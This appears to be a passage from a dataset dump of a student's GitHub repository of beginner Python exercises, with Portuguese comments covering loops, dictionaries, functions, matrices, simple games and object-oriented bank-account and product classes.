cpf(self,cpf):\n self._cpf = cpf\n\n @property\n def nome(self):\n return self._nome\n @nome.setter\n def nome(self, nome):\n self._nome = nome\n\n @property\n def idade(self):\n return self._idade\n\n @idade.setter\n def idade(self, idade):\n self._nome = idade\n\n def mostra_professor(self):\n print(f'\\n Nome: {self.nome}'\n f'\\n CPF: {self.cpf}'\n f'\\n Idade: {self.idade}')\n\n def calcula_data_nascimento(self):\n pass\n\n#===========================================================================================================================================================================================================\nif __name__ == '__main__':\n\n p1 = Professor(12334234,'Italo',22)\n d1 = Disciplina(12312,'Historia')\n Professor.disciplina = Disciplina\n d1.cadastra_profesor(p1)\n d1.monstra_dados_disciplina()\n d1.consulta_nome_professor()\n"},{"alpha_fraction":0.6095890402793884,"alphanum_fraction":0.6232876777648926,"avg_line_length":47,"blob_id":"42455ffb410a34229c7e21fcf533fdc6432057c4","content_id":"25c1ee05792d096c0bceb3909afd6e2310bdf9eb","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":146,"license_type":"permissive","max_line_length":59,"num_lines":3,"path":"/Curso-Em-Video/M1/ex24.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\ncidade =str(input('Digite o nome da sua cidade: ')).strip()\nprint(\"Sua cidade tem santo no nome? \",cidade[:5]=='santo')\n\n\n"},{"alpha_fraction":0.4057970941066742,"alphanum_fraction":0.4746376872062683,"avg_line_length":26.5,"blob_id":"3182b810e89b6d730d0dd592248f3c34c402b219","content_id":"e48505b74daa1a6c638b1e85045ab746be0bd1b3","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":276,"license_type":"permissive","max_line_length":64,"num_lines":10,"path":"/Curso-Em-Video/M3/ex86.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nmatrix = [[0,0,0],[0,0,0],[0,0,0]]\nfor l in range(0,3):\n for c in range(0,3):\n matrix[l][c] = int(input(f'Digite o valor [{l}][{c}]:'))\n\nfor l in range(0,3):\n for c in range(0,3):\n print(f'[{matrix[l][c]:^3}]', end='')\n print()\n\n"},{"alpha_fraction":0.5528700947761536,"alphanum_fraction":0.5694863796234131,"avg_line_length":19.71875,"blob_id":"28de89543a0865a5c61c45695bb4e94c45c10da0","content_id":"dc67888a781a76df330b595c72a34ebb53491d16","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":662,"license_type":"permissive","max_line_length":69,"num_lines":32,"path":"/PythonPOO/produtos.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"class Produto:\n def __init__(self, nome, preco):\n self.nome = nome\n self.preco = preco\n\n def desconto(self, percentual):\n self._preco = self._preco - (self._preco * (percentual/ 100))\n\n @property\n def nome(self):\n return self._nome\n\n @nome.setter\n def nome(self,valor):\n self._nome = valor\n\n # Getter\n @property\n def preco(self):\n return self._preco\n #setter\n @preco.setter\n def preco(self, valor):\n if isinstance(valor,str):\n valor =float(valor.replace('R$',''))\n\n self._preco = valor\n\n\np1 = Produto('Camiseta','R$50')\np1.desconto(10)\nprint(p1.nome,p1.preco)"},{"alpha_fraction":0.460829496383667,"alphanum_fraction":0.4930875599384308,"avg_line_length":20.700000762939453,"blob_id":"0766b269f490fa9f8473b6300c952303eac453ea","content_id":"519356b36bebb13dce86b2c35c2e679ce1519871","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":223,"license_type":"permissive","max_line_length":39,"num_lines":10,"path":"/Curso-Em-Video/M2/ex52.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nc = 0\nn = int(input('Digite um número: '))\nfor i in range(1,n+1):\n if n % i == 0:\n c += 1\nif c == 2:\n print(f'O número {n} é primo!')\nelse:\n print(f'O número {n} não é primo!')\n"},{"alpha_fraction":0.5019304752349854,"alphanum_fraction":0.5559845566749573,"avg_line_length":24.799999237060547,"blob_id":"1b40f84a9a9f7153b3420e4688a604d59f994266","content_id":"120dc2eb95c8748350fce26ea12120b22c7be0e1","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":260,"license_type":"permissive","max_line_length":68,"num_lines":10,"path":"/Curso-Em-Video/M2/ex54.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nc = 1\nmaior = 0\nfor i in range(1,8):\n ano = int(input(f'Digite o ano de nascimento da {c}º pessoa: '))\n c += 1\n idade = 2020 - ano\n if idade >= 18:\n maior += 1\nprint(f'Das 7 pessas {maior} atigiram a maior idade!')\n\n"},{"alpha_fraction":0.436855673789978,"alphanum_fraction":0.45876288414001465,"avg_line_length":28.846153259277344,"blob_id":"77b318895c8ec171bc22bf4b3c5872ec0004ff6a","content_id":"03bda68a6158335754cb87e093450b7d5714b678","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":780,"license_type":"permissive","max_line_length":58,"num_lines":26,"path":"/Curso-Em-Video/M2/ex68.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nimport random\nc = 0\nwhile True:\n pc = random.randint(1,10)\n n = int(input('Diga um valor: '))\n poi = str(input('Deseja par ou impar? [I/P]')).upper()\n soma = pc + n\n if poi == 'I':\n if soma % 2 !=0:\n print(f'O resultado foi:{soma} Você VENCEU!')\n c += 1\n print(f'Total de partidas {c}')\n break\n elif soma % 2 == 0:\n c += 1\n print(f'O resultado foi: {soma} você PERDEU')\n elif poi =='P':\n if soma % 2 == 0:\n c += 1\n print(f'O resultado foi: {soma} Você VENCEU!')\n print(f'Total de partidas {c}')\n break\n elif soma % 2 != 0:\n c += 1\n print(f'O resultado foi: {soma} você PERDEU')\n"},{"alpha_fraction":0.6949941515922546,"alphanum_fraction":0.7013970017433167,"avg_line_length":34.081634521484375,"blob_id":"95fd66ed9575b78508da4ff447fb00571cb3b0dc","content_id":"ebd1be932ff8db1ae546c458a128201ac808181d","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1744,"license_type":"permissive","max_line_length":138,"num_lines":49,"path":"/Curso-Em-Video/M3/Dicionarios.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"\"\"\"\nDicionarios são variavees compostas formadas por conteúdos referenciados por chaves.\nos dicionarios são declarados entre {x:y} onde x é a chave e y é o conteúdo referenciado\n\"\"\"\n\npessoa ={'Nome':'Italo','sexo':'Masculino','Idade':'21'}\n#print(pessoa)\n#print(f'O {pessoa[\"Nome\"]} tem {pessoa[\"Idade\"]} anos de idade') # print formatado\n#print(pessoa.keys())# -> mostra as chaves existentes no dicionário\n#print(pessoa.values())# -> mostra os valores existentes no dicionário\n#print(pessoa.items())# -> mostra tudo que está contido no dicionário\n\n#USANDO LAÇOS DE REPETIÇÃO\n\"\"\"\nfor k in pessoa.keys():\n print(k) #mostrará apenas as chaves do dicionário\n\"\"\"\n\"\"\"\nfor v in pessoa.values():\n print(v)# mostra os valores do dicionario\n\"\"\"\n\n\"\"\"\nfor k, v in pessoa.items():\n print(f'{k} = {v}') #mostra todo o conteudo do dicionario\n\"\"\"\n#del pessoa['sexo'] # deleta a chave sexo do dicionario\n#pessoa['Nome'] = 'Leandro' # podemos mudar o valor da conteudo apenas com o sinal de '='\n#pessoa['peso'] = 89.5 # podemos adicionar elementos sem a necessidade do append\n\n#LISTAS COM DICIONARIOS\n\"\"\"\nbrasil = []\nestado1 = {'uf':'Rio de janeiro','sigla':'RJ'}\nestado2 = {'uf':'São Paulo','Sigla':'SP'}\nbrasil.append(estado1)\nbrasil.append(estado2)\nprint(brasil)\n\"\"\"\n# para adicionar dicionários em uma lista usando laçõs de repetição, nos devemos fazer uma copia do dicionário após preencher os dados\n\"\"\"\nestado = dict()\nbrasil = list()\nfor c in range(0,3):\n estado['uf'] = str(input('Unidade federativa: '))\n estado['Sigla'] = str(input('Sigla do estado: '))\n brasil.append(estado.copy()) # sem o parametro .copy os primeiro dados inseridos no lacõ de for serão repetido até o final do programa\nprint(brasil)\n\"\"\""},{"alpha_fraction":0.6680327653884888,"alphanum_fraction":0.7090163826942444,"avg_line_length":15.333333015441895,"blob_id":"59d439f584a9fe5a2d63916b806a596f3b43698f","content_id":"cb59634813c82b95d60de08505d15732054bce45","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":246,"license_type":"permissive","max_line_length":66,"num_lines":15,"path":"/Geek-University/Seção4/tipo numerico.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"\"\"\"\nTipo Numerico\n\"\"\"\nnum = 1_000_000 # podemos utilizar '_' para separar casas decimais\nprint(num)\n\n\"\"\"\nTipo float \ntipo real, decimal\nsemparamos as casas déecimais por ponto e não por virgula\n \n\"\"\"\nvalor = 1.40\nprint(valor)\nprint(type(valor))"},{"alpha_fraction":0.5136986374855042,"alphanum_fraction":0.5479452013969421,"avg_line_length":47.66666793823242,"blob_id":"06f9c12ff750eec26be248683b672f6bc6a7685e","content_id":"aa8ca50f2ed86e05f955961036d357e9e3f300a8","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":150,"license_type":"permissive","max_line_length":84,"num_lines":3,"path":"/Curso-Em-Video/M1/ex06.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nn = int(input(\"Digite um número: \"))\nprint(f'O dobro de {n} é {n**2}\\n O triplo é {n**3}\\n A raiz quadrada é {n**(1/2)}')\n"},{"alpha_fraction":0.6100386381149292,"alphanum_fraction":0.6718146800994873,"avg_line_length":42.16666793823242,"blob_id":"b7b4f556c8fc2dba664cf473db4f995b42fb852a","content_id":"53f3b8d773028e82ec7f407905226096180a2a4f","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":260,"license_type":"permissive","max_line_length":75,"num_lines":6,"path":"/Curso-Em-Video/M3/ex74.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nfrom random import randint\nn = (randint(0,10),randint(0,10),randint(0,10),randint(0,10),randint(0,10))\nprint(f'Os números sorteados foram: {n}')\nprint(f'O maior valor gerado foi: {max(n)}')\nprint(f'O menor valor gerado foi: {min(n)}')\n"},{"alpha_fraction":0.5991342067718506,"alphanum_fraction":0.6199133992195129,"avg_line_length":36.129032135009766,"blob_id":"a2b5f206e1eec4c25fe7106abb217bee0a767a5c","content_id":"0e8f3985f64122d3b2b5a82b60340e09bf117fee","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1173,"license_type":"permissive","max_line_length":77,"num_lines":31,"path":"/Curso-Em-Video/M2/ex45.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nimport random\n\nmao =int(input(\"\"\"\n \\n Escolha:\n \\n [1] -> Pedra\n \\n [2] -> Papel\n \\n [3] -> Tesoura\n \"\"\"))\npc =random.randint(1,3)\n\nif pc == 1 and mao == 1:\n print('O computador escolheu pedra e você também temos um EMPATE!')\nelif pc == 1 and mao == 2:\n print('O Computador escolheu pedra e você escolheu papel Você VENCEU!')\nelif pc == 1 and mao == 3:\n print('O computador escolheu pedra e você escolheu tesoura você PERDEU!')\n\nelif pc == 2 and mao == 2:\n print('O computador escolheu papel e você também temos um EMPATE!')\nelif pc == 2 and mao == 1:\n print('O Computador escolheu papel e você escolheu pedra Você PERDEU!')\nelif pc == 2 and mao == 3:\n print('O computador escolheu papel e você escolheu tesoura você VENCEU!')\n\nelif pc == 3 and mao == 3:\n print('O computador escolheu tesoura e você também temos um EMPATE!')\nelif pc == 3 and mao == 2:\n print('O Computador escolheu tesoura e você escolheu papel Você PERDEU!')\nelif pc == 3 and mao == 1:\n print('O computador escolheu tesoura e você escolheu pedra você VENCEU!')\n\n\n\n\n"},{"alpha_fraction":0.6209523677825928,"alphanum_fraction":0.6285714507102966,"avg_line_length":25.299999237060547,"blob_id":"07d257a3e1a167617d8612c3575579a5032a6bd8","content_id":"5ae9093f0ce698bbe7c2eb67cf1bda1112eed457","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":526,"license_type":"permissive","max_line_length":58,"num_lines":20,"path":"/curso_monitoria/matriz2.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"alunos = int(input(\"Quantos alunos tem na turma: \"))\nmaterias = int(input(\"Quantas matérias eles estudam: \"))\n\nmediaTurma = 0\nfor aluno in range(alunos):\n print(\"Aluno\", aluno + 1, \":\")\n\n mediaAluno = 0\n for materia in range(materias):\n print(\"Nota da materia\", materia + 1, \":\", end='')\n nota = int(input())\n mediaAluno += nota\n\n mediaAluno /= materias\n print(\"Media desse aluno:\", mediaAluno, \"\\n\")\n\n mediaTurma += mediaAluno\n\nmediaTurma /= alunos\nprint(\"Media da turma:\", mediaTurma)"},{"alpha_fraction":0.5095541477203369,"alphanum_fraction":0.5159235596656799,"avg_line_length":26.34782600402832,"blob_id":"de5379910e09b9972491453a930c81eba5f2d402","content_id":"ddb67dd5f7f084be3cb59ab5c6ff907b6d4a838f","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":628,"license_type":"permissive","max_line_length":44,"num_lines":23,"path":"/Prova/Funcoes.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"def crie_matriz(linhas, colunas, valor):\n matriz = []\n for i in range(linhas):\n linha = []\n for j in range(colunas):\n linha.append(valor)\n matriz.append(linha)\n\n return matriz\ndef escrever_memoria(linha, coluna,matriz):\n linha = int(linha, 2) - 1\n for j in range(len(matriz)):\n if (coluna[j] == \"1\"):\n matriz[linha][j] = \"#\"\n\n\ndef imprimir_memoria(matriz):\n for i in range(len(matriz)):\n for j in range(len(matriz)):\n if (j < len(matriz) - 1):\n print(matriz[i][j], end=' ')\n else:\n print(matriz[i][j])"},{"alpha_fraction":0.5353535413742065,"alphanum_fraction":0.6060606241226196,"avg_line_length":29.461538314819336,"blob_id":"4114715df48c091c471244485731b082bf3b84c3","content_id":"60ff3643595daa2016b94052514ccb108112dc93","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":401,"license_type":"permissive","max_line_length":64,"num_lines":13,"path":"/Curso-Em-Video/M1/cores.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n\"\"\"\n# ANSI\n *Iniciar com cores em python -> \\033[m\n -> entre o cochetes e o m colocamos o código da cor\n *Exemplo\\033[0:33:44m\n ->O primeiro parametro ocupado por 0 é o local de estilo\n ->O segundo ocupado para 33 é para texto\n ->O terceiro ocupado por 44 é o fundo\n# pesquise -> colorise\n\"\"\"\n\nprint('\\033[1;30;43mOlá, mundo!\\033[m')\n"},{"alpha_fraction":0.6091954112052917,"alphanum_fraction":0.633461058139801,"avg_line_length":18.121952056884766,"blob_id":"17adfd90f55d183daa9d64edd5fc91b9e8443bab","content_id":"36ae3acab912ecb2bdd471c9609fdf0a2ed92043","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":798,"license_type":"permissive","max_line_length":102,"num_lines":41,"path":"/Curso-Em-Video/M3/Funcoes.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"\"\"\"\n# Funções são rotiinas que execultam código quando são solicitas, elas podem ou não recever parametros\n-> def nomefuncao(): -> estrutura basica de uma função\n-> codigo\nos parametros das funções ficam sempre dentro dos parenteses\n\n\"\"\"\n\"\"\"\n# exemplo de funções com parametros: \n\ndef soma(x,y):\n s = x + y\n print(s)\nprint(soma(8,9))\nprint(soma(x= 8,y=2 )) # também podemos declarar da seguinte maneira\n\"\"\"\n# usando lista com funções:\n\"\"\"\ndef dobra(lst):\n pos = 0\n while pos < len(lst):\n lst[pos] *= 2\n pos+= 1\n\n\nvalores = [6,3,1,9,2,0]\ndobra(valores)\nprint(valores)\n\"\"\"\n# Desempacotando parametros\n\"\"\"\ndef soma(* valores):\n s = 0\n for num in valores:\n s+= num\n print(f'Somando os valores{valores} temos {s}')\n\n\nsoma(5,2)\nsoma(2,9,4)\n\"\"\""},{"alpha_fraction":0.6465568542480469,"alphanum_fraction":0.6636245250701904,"avg_line_length":47.21714401245117,"blob_id":"a7a737f6d11d5e55b4d9c8dca0e5e88f16506db3","content_id":"639679ef297d311d68526ed9b4443d5cc7397d91","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":8546,"license_type":"permissive","max_line_length":123,"num_lines":175,"path":"/Paradigmas_Program/aula03.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"\"\"\" CEUB - Ciência da Computação - Prof. Barbosa\nAtalho de teclado: ctlr <d>, duplica linha. ctrl <y>, apaga linha. ctrl </>, comenta linha\n\n- Composição\nNo programa anterior, usamos agregação. Agora, a classe Conta tem um Cliente e associamos\nestas duas classes. Mas, a classe Cliente existe independente da classe Conta.\nAgora, a Conta possui um histórico, contendo a data de abertura da conta e\nsuas transações. Crie uma classe para representar o histórico:\n\n- Composição\nQuando a existência de uma classe depende de outra classe, como é a relação da\nclasse Histórico com a classe Conta, dizemos que a classe Historico compõe a classe Conta.\n\n- Implemente:\n1- Crie a classe Historico com os atributos data/hora de abertura da conta e transações realizadas.\n- Crie o método get para retornar a data/hora da abertura da conta.\n- Crie o método get para retornar o historico da conta.\n- Modifique a classe Conta de modo que ela tenha um historico. Diferente da relação do\n cliente com uma conta, a existência de um histórico depende da existência de uma Conta\n Ou seja, acrescente o atributo historico que recebe um objeto da classe Historico.\n5- Altere o método deposito, ele deve armazenar as informações da transação no histórico\n- Cria o objeto conta1, faça um depósito e mostre o histórico\n- Na classe Historico, crie o método para mostrar o histórico da conta:\n depósitos, saques, transferência e extratos\n8- Altere o método sqque, ele deve armazenar as informações da transação no histórico, teste.\n- Altere o método extrato, ele deve armazenar as informações da transação no histórico, teste.\n10- Altere o método trasfere_para, ele deve armazenar as informações da transação no histórico\n- Na conta1 realize: um depósito, um saque, transferência para conta 2 e um extrato, teste.\n- Crie a connta2 (objeto) com o respectivo cliente\n- Mostre o histórico das duas contas.\n- Na conta2 realize: um depósito, um saque, um extrato e a transferência para conta 1.\n15- Crie o extrato2 mais completo, mostre também os dados do cliente (nome, sobrenome e cpf)\n- Na funcionalidade histórico, acrescente o dia e hora de cada transação.\n- Altere o histórico para mostrar também o nome do correntista. \"\"\"\n\nfrom datetime import datetime\nimport time\nclass Cliente:\n def __init__(self, nome, sobrenome, cpf):\n self.nome = nome\n self.sobrenome = sobrenome\n self.cpf = cpf\n def get_nome(self):\n return self.nome\n def set_nome(self, novo_nome):\n self.nome = novo_nome\n def get_sobrenome(self):\n return self.sobrenome\n def get_cpf(self):\n return self.cpf\n def nome_completo(self):\n nc = f'{self.nome} {self.sobrenome}'\n return nc\nclass Historico:\n def __init__(self):\n self.data_abertura = datetime.today()\n self.transacoes = []\n def get_data_abertura(self):\n return self.data_abertura\n def get_transacoes(self):\n return self.transacoes\n def mostra_historico(self):\n self.transacoes.append(\"Impressão do histórico em {}\".format(datetime.today()))\n print(\"Histórico:\\nAbertura: {}\".format(self.data_abertura))\n print(\"Transações:\")\n for t in self.transacoes:\n print(\"-\", t)\n def mostra_historico2(self, nome):\n self.transacoes.append(\"Impressão do histórico em {}\".format(datetime.today()))\n print(\"Histórico:\\nAbertura: {}\".format(self.data_abertura))\n print(\"Histórico do {}:\\nAbertura: {}\".format(nome, self.data_abertura))\n print(\"Transações:\")\n for t in self.transacoes:\n print(\"-\", t)\nclass Conta:\n def __init__(self, numero, cliente, saldo, limite=1000.0):\n self.numero = numero\n self.titular = cliente # Objeto da classe Cliente\n self.saldo = saldo\n self.limite = limite\n self.historico = Historico() # Chama o construtor (__init__) da classe Historico\n ''' Com esse código, toda nova Conta criada já terá um novo Historico associado, \n sem necessidade de instanciá-lo logo em seguida da criação (instanciação) de uma Conta.'''\n def get_titular_nome(self):\n return self.titular.nome\n def set_titular_nome(self, nome):\n self.titular.nome = nome\n def get_titular_sobrenome(self):\n return self.titular.sobrenome\n def get_titular_cpf(self):\n return self.titular.cpf\n def get_saldo(self):\n return self.saldo\n def get_historico(self):\n return self.historico\n def get_titular(self):\n return self.titular.__dict__ # cliente.__dict__\n def deposito(self, valor):\n self.saldo += valor\n self.historico.get_transacoes().append(\"Depósito de R${}\".format(valor))\n def deposito2(self, valor):\n self.saldo += valor\n dia_hora = datetime.today()\n self.historico.get_transacoes().append(\"Depósito de R${} em {}\".format(valor, dia_hora))\n # self.historico.get_transacoes().append(\"Depósito de R${} em {}\".format(valor, datetime.today()))\n def saque(self, valor):\n if self.saldo + self.limite < valor:\n print('Saldo insuficiente.')\n return False\n else:\n self.saldo -= valor\n print('Saque realizado.')\n self.historico.get_transacoes().append(\"saque de R${}\".format(valor))\n return True\n def extrato(self):\n print(\"Extrato 1:\\nNúmero: {}, Saldo: {}\".format(self.numero, self.saldo))\n self.historico.get_transacoes().append(\"Solicitou o extrato 1.\")\n def extrato_2(self):\n print(f'Extrato 2:\\nNome: {self.titular.get_nome()} {self.titular.get_sobrenome()}, CPF: {self.titular.get_cpf()}')\n # print(f'Extrato 2:\\nNome: {self.titular.nome} {self.titular.sobrenome}, CPF: {self.titular.cpf}')\n print(\"Número: {}, Saldo: {}\".format(self.numero, self.saldo))\n # self.historico.get_transacoes().append(\"Solicitou extrato 2 em {}\".format(datetime.today()))\n def transfere_para(self, destino, valor):\n retirou = self.saque(valor)\n if not retirou: # if retirou == False:\n print('Transferência não realizada')\n return False\n else:\n destino.deposito(valor)\n print('Transferência realizada com sucesso')\n self.historico.get_transacoes().append(\"transferência de R$ {} para conta {}\".format(valor, destino.numero))\n return True\n\n\nif __name__ == '__main__': # main <tab>\n cliente1 = Cliente('João', 'Oliveira', '11111111111-11')\n conta1 = Conta('123-4', cliente1, 1000.0) # Chama o construtor de Conta e passa um objeto da classe Cliente\n time.sleep(1)\n conta1.deposito(250)\n time.sleep(1)\n conta1.get_historico().mostra_historico()\n conta1.historico.mostra_historico()\n conta1.deposito(100.0)\n time.sleep(1)\n conta1.saque(50.0)\n time.sleep(1)\n conta1.get_historico().mostra_historico()\n conta1.extrato()\n conta1.get_historico().mostra_historico()\n cliente2 = Cliente('José', 'Azevedo', '222222222-22')\n conta2 = Conta('123-5', cliente2, 1000.0) # Chama o construtor de Conta e passa um objeto da classe Cliente\n conta1.transfere_para(conta2, 200.0)\n print('conta1.get_saldo()', conta1.get_saldo())\n print('conta2.get_saldo()', conta2.get_saldo())\n conta1.get_historico().mostra_historico()\n conta2.get_historico().mostra_historico()\n conta1.extrato()\n # Extrato: número: 123-4, saldo: 850.0\n conta1.extrato_2()\n print('Abertura: ', conta1.historico.get_data_abertura())\n conta1.get_historico().mostra_historico()\n conta2.extrato()\n conta2.extrato_2()\n conta1.deposito2(222.0)\n conta2.get_historico().mostra_historico() # Histórico sem nonme\n nome_cliente = conta2.get_titular_nome()\n conta2.historico.mostra_historico2(nome_cliente) # Histórico com nome\n # conta2.historico.mostra_historico2(conta2.get_titular_nome()) # Histórico com nome\n # Lista todos métodos e atributos que a classe possui.\n print('dir(Conta):\\n', dir(Conta))\n print('conta1.__class__ :\\n', conta1.__class__)\n # Retorna um dicionário com os atributos da classe.\n print('conta1.__dict__ :\\n', conta1.__dict__)\n # A função embutida do Python, vars(), chama o __dict__ de uma classe. Retorna um dicionário com os atributos\n print('vars(conta1):\\n', vars(conta1))"},{"alpha_fraction":0.6399999856948853,"alphanum_fraction":0.6549999713897705,"avg_line_length":27.571428298950195,"blob_id":"8be8d99b21fb8882778c4b1fb74cc4b682847d8a","content_id":"3b22729336c16e6080825d336b881b882304cd98","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":200,"license_type":"permissive","max_line_length":55,"num_lines":7,"path":"/Curso-Em-Video/M1/ex27.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nnome=str(input(\"Digite o seu nome completo: \")).strip()\nlista= nome.split()\nfirst= lista[0]\nlast = lista[len(lista)-1]\n\nprint(f'\\nPrimeiro nome: {first}\\nUltimo nome: {last}')\n"},{"alpha_fraction":0.6000000238418579,"alphanum_fraction":0.6346153616905212,"avg_line_length":25,"blob_id":"491c823825a614c2219f676feb09998224f1c869","content_id":"a966989c9c90bfcdb4c43e2e8f7c39cdec2050e9","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":260,"license_type":"permissive","max_line_length":55,"num_lines":10,"path":"/Curso-Em-Video/M1/ex19.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nimport random\n\nn1 = str(input('Primeiro aluno: '))\nn2 = str(input('Segundo aluno: '))\nn3 = str(input('Terceiro aluno: '))\nn4 = str(input('Quarto aluno: '))\nlista = [n1,n2,n3,n4]\n\nprint(f'O aluno escolhido foi: {random.choice(lista)}')\n"},{"alpha_fraction":0.6531531810760498,"alphanum_fraction":0.6711711883544922,"avg_line_length":26.75,"blob_id":"b0925255742d84c2827d93be4ebb2332b42ba2ea","content_id":"eeda9a3cdc03749be5b4cbcdb02c822d330b7412","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":223,"license_type":"permissive","max_line_length":47,"num_lines":8,"path":"/Curso-Em-Video/M1/ex17.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nfrom math import pow, sqrt\ncat=float(input('Digite o cateto oposto: '))\ncaa=float(input('Digite o cateto adjacente: '))\n\nhip=sqrt(pow(cat,2)+pow(caa,2))\n\nprint(f'O valor da hipotenusa é {hip:.2f}')\n"},{"alpha_fraction":0.7947883009910583,"alphanum_fraction":0.7947883009910583,"avg_line_length":33.22222137451172,"blob_id":"8e0cfb926ab6192906cf4b6b46741d8badb979d6","content_id":"72da344b2df5b697acbf36a906d01b47ab1a54c8","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":318,"license_type":"permissive","max_line_length":108,"num_lines":9,"path":"/Geek-University/Seção3/Dir_help.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"\"\"\"\nDir -> Apresenta todos os atributos e funções/metódos disponiveis para determinado tipo de dado ou variável.\n\nHelp -> Apresenta a documentação/ como utilizar os atributos/propriedades e funções/métodos disponíveis\npara determinado tipo de dado ou variável.\n\nhelp(tipo de dado/variavel.propriedade)\n\n\"\"\""}],"string":"[\n {\n \"alpha_fraction\": 0.5295698642730713,\n \"alphanum_fraction\": 0.5725806355476379,\n \"avg_line_length\": 16.761905670166016,\n \"blob_id\": \"63a80a53fbe0d143adbcbd5b813a21ab6193c08a\",\n \"content_id\": \"667a641206031cc93b3a35aa996e553e14005c68\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 372,\n \"license_type\": \"permissive\",\n \"max_line_length\": 49,\n \"num_lines\": 21,\n \"path\": \"/Curso-Em-Video/M3/mod108.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def aumentar(preco =0, taxa=0):\\n res = preco + (preco * taxa/100)\\n return res\\n\\n\\ndef diminuir(preco = 0 , taxa=0):\\n res = preco - (preco * taxa/100)\\n return res\\n\\n\\ndef dobro(preco =0):\\n res = preco * 2\\n return res\\n\\n\\ndef metade(preco =0):\\n res = preco/ 2\\n return res\\n\\ndef moeda(preco =0, moeda ='R$'):\\n return f'{moeda}{preco:.2f}'.replace('.',',')\"\n },\n {\n \"alpha_fraction\": 0.5754923224449158,\n \"alphanum_fraction\": 0.5886214375495911,\n \"avg_line_length\": 27.5625,\n \"blob_id\": \"9be1ae1f7c8a5d460f47f30886bdc9684fc402b1\",\n \"content_id\": \"e565a2275285257e71f67766ef267eb76be2ef6a\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 461,\n \"license_type\": \"permissive\",\n \"max_line_length\": 88,\n \"num_lines\": 16,\n \"path\": \"/Curso-Em-Video/M3/ex81.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nvetor = []\\nc = 0\\nwhile True:\\n n = int(input('Digite um número: '))\\n vetor.append(n)\\n c += 1\\n op = str(input('Deseja continuar? [S/N]')).upper()\\n if op =='N':\\n break\\nprint(f'\\\\n Você digitou {c} elementos'\\n f'\\\\n A ordem decrescente do vetor formado é {sorted(vetor,key=int,reverse=True)}')\\nif 5 in vetor:\\n print(f'\\\\n O valor 5 faz parte do vetor!')\\nelse:\\n print('\\\\n O valor 5 não faz parte do vetor!')\\n\"\n },\n {\n \"alpha_fraction\": 0.6378600597381592,\n \"alphanum_fraction\": 0.6419752836227417,\n \"avg_line_length\": 39.5,\n \"blob_id\": \"884490f27c2de84e25ce04322104d3e7e58c1c7e\",\n \"content_id\": \"925e2866ff9e9891255f4ce5b66bda12c5d8cf40\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 245,\n \"license_type\": \"permissive\",\n \"max_line_length\": 62,\n \"num_lines\": 6,\n \"path\": \"/Curso-Em-Video/M1/form.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": 